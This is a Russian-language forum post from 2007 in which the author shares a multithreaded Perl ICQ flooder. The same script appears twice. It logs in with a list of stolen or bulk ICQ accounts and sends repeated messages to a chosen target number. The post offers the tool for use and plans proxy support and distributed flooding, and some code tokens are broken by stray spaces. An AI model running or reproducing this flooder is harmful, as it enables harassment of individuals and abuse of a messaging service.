BuH@LicH
03.04.2007, 02:04
Isis посвящается. ;)
Кроссплатформенный, многопоточный icq flooder. Т.к. написан за 2 часа, возможны ошибки/баги. Если кто-то считает, что его необходимо доделать(и отпишется здесь), то я постараюсь сделать его лучшим в своём роде ;).
#!/usr/bin/perl
##################################
## Script for icq flood
## thx to CyberLords for sample
##################################
use IO::Socket;
use Thread;
use strict;
##### config #####
our $file = 'uins.txt'; # файл с записями вида uin;pass
our $flood = '22222208'; # кого флудим?
our $send_message='From Russia With Love :-p'; # текст сообщения
our $count = 100; # количество сообщений с одного уина
our $delay = 3; # максимальная задержка отправки сообщений
my $onlain = 5; # задержка между выходами уина в он-лайн(т.к. пока без прокси, маленьким ставить не советую)
##################
my (@threads, @strings);
my ($uin, $pass, $j, $sl);
open(F,$file);
@strings=<F> or die print "$! ";
close(F);
$sl = scalar @strings * $onlain;
for ($j=0; $j < scalar @strings; $j++)
{
($uin, $pass) = split(/;/, @strings[$j]);
$threads[$j] = Thread->new(\&icq_flood, $uin, $pass, ($sl -= $onlain)) if (($uin) && ($pass));
sleep($onlain);
}
for ($j=0; $j < scalar @strings; $j++){$threads[$j] -> join();}
sub icq_flood{
my ($uin, $password, $sleep, $server, $port) = @_;
$server = $server || "login.icq.com";
$port = $port || 5190;
my $client_id = "ICQBasic";
my $socket = undef;
my $i;
my $answer_data; # ответ сервера
my $auth_request; #посылаемый пакет
my $FlAP_header; # заголовок FLAP пакета (сигнатура начала данных, номер канала, sequence number, длина данных)
my $data; # данные пакета
my $BOS_server_address; # ip основного сервера для работы с icq
my $BOS_server_port; # порт сервера
my $seq_num = int(rand(0xFFFF));
$data= #(основнные данные)
"\x00\x00\x00\x01". #версия протокола
"\x00\x01".pack('n',length($uin)).$uin. #сигнатура уина, длина уина, уин
"\x00\x02".pack('n',length($password)).xor_password($passwor d). #то же для пароля
"\x00\x03".pack('n',length($client_id)).$client_id. # то же для клиента
"\x00\x16".pack('n',2).pack('n',266). # версии клиента: мажор, минор, билд и тд
"\x00\x17".pack('n',2).pack('n',4). # -||-
"\x00\x18".pack('n',2).pack('n',65). # -||-
"\x00\x19".pack('n',2).pack('n',1). # -||-
"\x00\x1A".pack('n',2).pack('n',3281). # -||-
"\x00\x14".pack('n',4).pack('N',85). # -||-
"\x00\x0F".pack('n',2)."en". # язык клиента
"\x00\x0E".pack('n',2)."us"; # страна клмента
$FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tc p')) or die "socket() failed: $!\n"; #создаём сокет
connect(SOCK,sockaddr_in($port,inet_aton($server)) ) or return 0;
SOCK->autoflush(1);
sysread(SOCK,$answer_data,1024);
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);
if ($answer_data !~/\x8e\x00/) {
print "\n UIN $uin: Authorization error.\n";
}
close(SOCK);
$answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/;
$BOS_server_address = $1;
$BOS_server_port = $2;
undef $data;
undef $FlAP_header;
$data="\x00\x00\x00\x01\x00\x06".pack('n',256).get_cookies($answer_data);
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tc p')) or die "socket() failed: $!\n";
connect(SOCK,sockaddr_in($BOS_server_port,inet_ato n($BOS_server_address))) or return 0;
SOCK->autoflush(1);
sysread(SOCK,$answer_data,1024);
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x17".("\x00" x 7)."\x01\x00\x03\x00\x02\x00\x01\x00\x03\x00\x01\x00\x 15\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01\x00\x09 \x00\x01\x00\x0a\x00\x01";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x06".("\x00" x 6);
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x08".("\x00" x 7)."\x01\x00\x02\x00\x03\x00\x04\x00\x05";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a"."\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x1e".("\x00" x 7)."\x06\x00\x04\x01\00\x00\x00";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x02".("\x00" x 7)."\x01\x00\x03\x01\x10\x02\x8a\x00\x02\x00\x01\x01\x 01\x02\x8a\x00\x03\x00\x01\x01\x10\x02\x8a\x00\x15 \x00\x01\x01\x10\x02\x8a\x00\x04\x00\x01\x01\x10\x 02\x8a\x00\x06\x00\x01\x01\x10\x02\x8a\x00\x09\x00 \x01\x01\x10\x02\x8a\x00\x0a\x00\x01\x01\x10\x02\x 8a";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
print "\n UIN: $uin ON-LINE.\n"; ### Эту строчку можно удалить :)
sleep($sleep); # Если хотите чтобы флуд начинался сразу же, после выхода уина в он-лайн - закоментируйте данную строчку.
for ($i=1; $i<$count; $i++)
{ undef $data;
undef $FlAP_header;
my $part1="\x00\x04\x00\x06".("\x00" x 6)."\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x00\x02".pack("w",length($flood)).$flood."\x00\x05";
my $part2="\x00\x00\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x09\x46\x 13\x49\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00 \x00\x00\x0a\x00\x02\x00\x01\x00\x0f\x00\x00\x27\x 11";
my $part3="\x1b\x00\x07".("\x00" x 19)."\x03".("\x00" x 4)."\xe9\xff\x0e\x00\xe9\xff".("\x00" x 12)."\x01\x00\x00\x00\x01\x00".pack("v",length("$send_message\0"))."$send_message\x00".("\x00" x 4)."\xff\xff\xff\x00";
$data=$part1.pack('n',length($part2.$part3)+2).$pa rt2.pack('n',length($part3)).$part3; # составляем данные, подставляя все TLV размеры
$data.="\x00\x03\x00\x00";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);
sleep(int(rand($delay)));
}
}
sub xor_password() {
my ($password)=@_;
my @password_xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
my $xored_password;
my $i=0;
foreach(split(//,$password)) {
$xored_password.=$_ ^ $password_xor[$i++];
$i=0 if $i eq @password_xor;
}
return $xored_password;
}
sub get_cookies() {
my ($data)=@_;
my $cookies;
my $i=0;
my $c=0;
foreach(split(//,$data)) {
$i=1 if($c eq "\x00" && $_ eq "\x06");
$cookies.=$_ if $i eq 1;
$c=$_;
}
return substr($cookies,3,length($cookies));
}
##################################
## (C)oded by BuH@LicH
## just4fun...
##################################
ToDo:
- Поддержку Http/Socks прокси
- Возможность отправки сообщений авторизации
- Админку для распределённого флуда
P.S. Спасибо System за оценку кода и указание на ошибки.
Кроссплатформенный, многопоточный icq flooder. Т.к. написан за 2 часа, возможны ошибки/баги. Если кто-то считает, что его необходимо доделать(и отпишется здесь), то я постараюсь сделать его лучшим в своём роде ;).
#!/usr/bin/perl
##################################
## Script for icq flood
## thx to CyberLords for sample
##################################
use IO::Socket;
use Thread;
use strict;
##### config #####
our $file = 'uins.txt'; # файл с записями вида uin;pass
our $flood = '22222208'; # кого флудим?
our $send_message='From Russia With Love :-p'; # текст сообщения
our $count = 100; # количество сообщений с одного уина
our $delay = 3; # максимальная задержка отправки сообщений
my $onlain = 5; # задержка между выходами уина в он-лайн(т.к. пока без прокси, маленьким ставить не советую)
##################
my (@threads, @strings);
my ($uin, $pass, $j, $sl);
open(F,$file);
@strings=<F> or die print "$! ";
close(F);
$sl = scalar @strings * $onlain;
for ($j=0; $j < scalar @strings; $j++)
{
($uin, $pass) = split(/;/, @strings[$j]);
$threads[$j] = Thread->new(\&icq_flood, $uin, $pass, ($sl -= $onlain)) if (($uin) && ($pass));
sleep($onlain);
}
for ($j=0; $j < scalar @strings; $j++){$threads[$j] -> join();}
sub icq_flood{
my ($uin, $password, $sleep, $server, $port) = @_;
$server = $server || "login.icq.com";
$port = $port || 5190;
my $client_id = "ICQBasic";
my $socket = undef;
my $i;
my $answer_data; # ответ сервера
my $auth_request; #посылаемый пакет
my $FlAP_header; # заголовок FLAP пакета (сигнатура начала данных, номер канала, sequence number, длина данных)
my $data; # данные пакета
my $BOS_server_address; # ip основного сервера для работы с icq
my $BOS_server_port; # порт сервера
my $seq_num = int(rand(0xFFFF));
$data= #(основнные данные)
"\x00\x00\x00\x01". #версия протокола
"\x00\x01".pack('n',length($uin)).$uin. #сигнатура уина, длина уина, уин
"\x00\x02".pack('n',length($password)).xor_password($passwor d). #то же для пароля
"\x00\x03".pack('n',length($client_id)).$client_id. # то же для клиента
"\x00\x16".pack('n',2).pack('n',266). # версии клиента: мажор, минор, билд и тд
"\x00\x17".pack('n',2).pack('n',4). # -||-
"\x00\x18".pack('n',2).pack('n',65). # -||-
"\x00\x19".pack('n',2).pack('n',1). # -||-
"\x00\x1A".pack('n',2).pack('n',3281). # -||-
"\x00\x14".pack('n',4).pack('N',85). # -||-
"\x00\x0F".pack('n',2)."en". # язык клиента
"\x00\x0E".pack('n',2)."us"; # страна клмента
$FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tc p')) or die "socket() failed: $!\n"; #создаём сокет
connect(SOCK,sockaddr_in($port,inet_aton($server)) ) or return 0;
SOCK->autoflush(1);
sysread(SOCK,$answer_data,1024);
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);
if ($answer_data !~/\x8e\x00/) {
print "\n UIN $uin: Authorization error.\n";
}
close(SOCK);
$answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/;
$BOS_server_address = $1;
$BOS_server_port = $2;
undef $data;
undef $FlAP_header;
$data="\x00\x00\x00\x01\x00\x06".pack('n',256).get_cookies($answer_data);
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tc p')) or die "socket() failed: $!\n";
connect(SOCK,sockaddr_in($BOS_server_port,inet_ato n($BOS_server_address))) or return 0;
SOCK->autoflush(1);
sysread(SOCK,$answer_data,1024);
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x17".("\x00" x 7)."\x01\x00\x03\x00\x02\x00\x01\x00\x03\x00\x01\x00\x 15\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01\x00\x09 \x00\x01\x00\x0a\x00\x01";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,1024);
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x06".("\x00" x 6);
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x08".("\x00" x 7)."\x01\x00\x02\x00\x03\x00\x04\x00\x05";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a"."\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x1e".("\x00" x 7)."\x06\x00\x04\x01\00\x00\x00";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);
undef $data;
undef $FlAP_header;
$data="\x00\x01\x00\x02".("\x00" x 7)."\x01\x00\x03\x01\x10\x02\x8a\x00\x02\x00\x01\x01\x 01\x02\x8a\x00\x03\x00\x01\x01\x10\x02\x8a\x00\x15 \x00\x01\x01\x10\x02\x8a\x00\x04\x00\x01\x01\x10\x 02\x8a\x00\x06\x00\x01\x01\x10\x02\x8a\x00\x09\x00 \x01\x01\x10\x02\x8a\x00\x0a\x00\x01\x01\x10\x02\x 8a";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
print "\n UIN: $uin ON-LINE.\n"; ### Эту строчку можно удалить :)
sleep($sleep); # Если хотите чтобы флуд начинался сразу же, после выхода уина в он-лайн - закоментируйте данную строчку.
for ($i=1; $i<$count; $i++)
{ undef $data;
undef $FlAP_header;
my $part1="\x00\x04\x00\x06".("\x00" x 6)."\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x00\x02".pack("w",length($flood)).$flood."\x00\x05";
my $part2="\x00\x00\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x09\x46\x 13\x49\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00 \x00\x00\x0a\x00\x02\x00\x01\x00\x0f\x00\x00\x27\x 11";
my $part3="\x1b\x00\x07".("\x00" x 19)."\x03".("\x00" x 4)."\xe9\xff\x0e\x00\xe9\xff".("\x00" x 12)."\x01\x00\x00\x00\x01\x00".pack("v",length("$send_message\0"))."$send_message\x00".("\x00" x 4)."\xff\xff\xff\x00";
$data=$part1.pack('n',length($part2.$part3)+2).$pa rt2.pack('n',length($part3)).$part3; # составляем данные, подставляя все TLV размеры
$data.="\x00\x03\x00\x00";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;
print SOCK $auth_request;
sysread(SOCK,$answer_data,2048);
sleep(int(rand($delay)));
}
}
sub xor_password() {
my ($password)=@_;
my @password_xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
my $xored_password;
my $i=0;
foreach(split(//,$password)) {
$xored_password.=$_ ^ $password_xor[$i++];
$i=0 if $i eq @password_xor;
}
return $xored_password;
}
sub get_cookies() {
my ($data)=@_;
my $cookies;
my $i=0;
my $c=0;
foreach(split(//,$data)) {
$i=1 if($c eq "\x00" && $_ eq "\x06");
$cookies.=$_ if $i eq 1;
$c=$_;
}
return substr($cookies,3,length($cookies));
}
##################################
## (C)oded by BuH@LicH
## just4fun...
##################################
ToDo:
- Поддержку Http/Socks прокси
- Возможность отправки сообщений авторизации
- Админку для распределённого флуда
P.S. Спасибо System за оценку кода и указание на ошибки.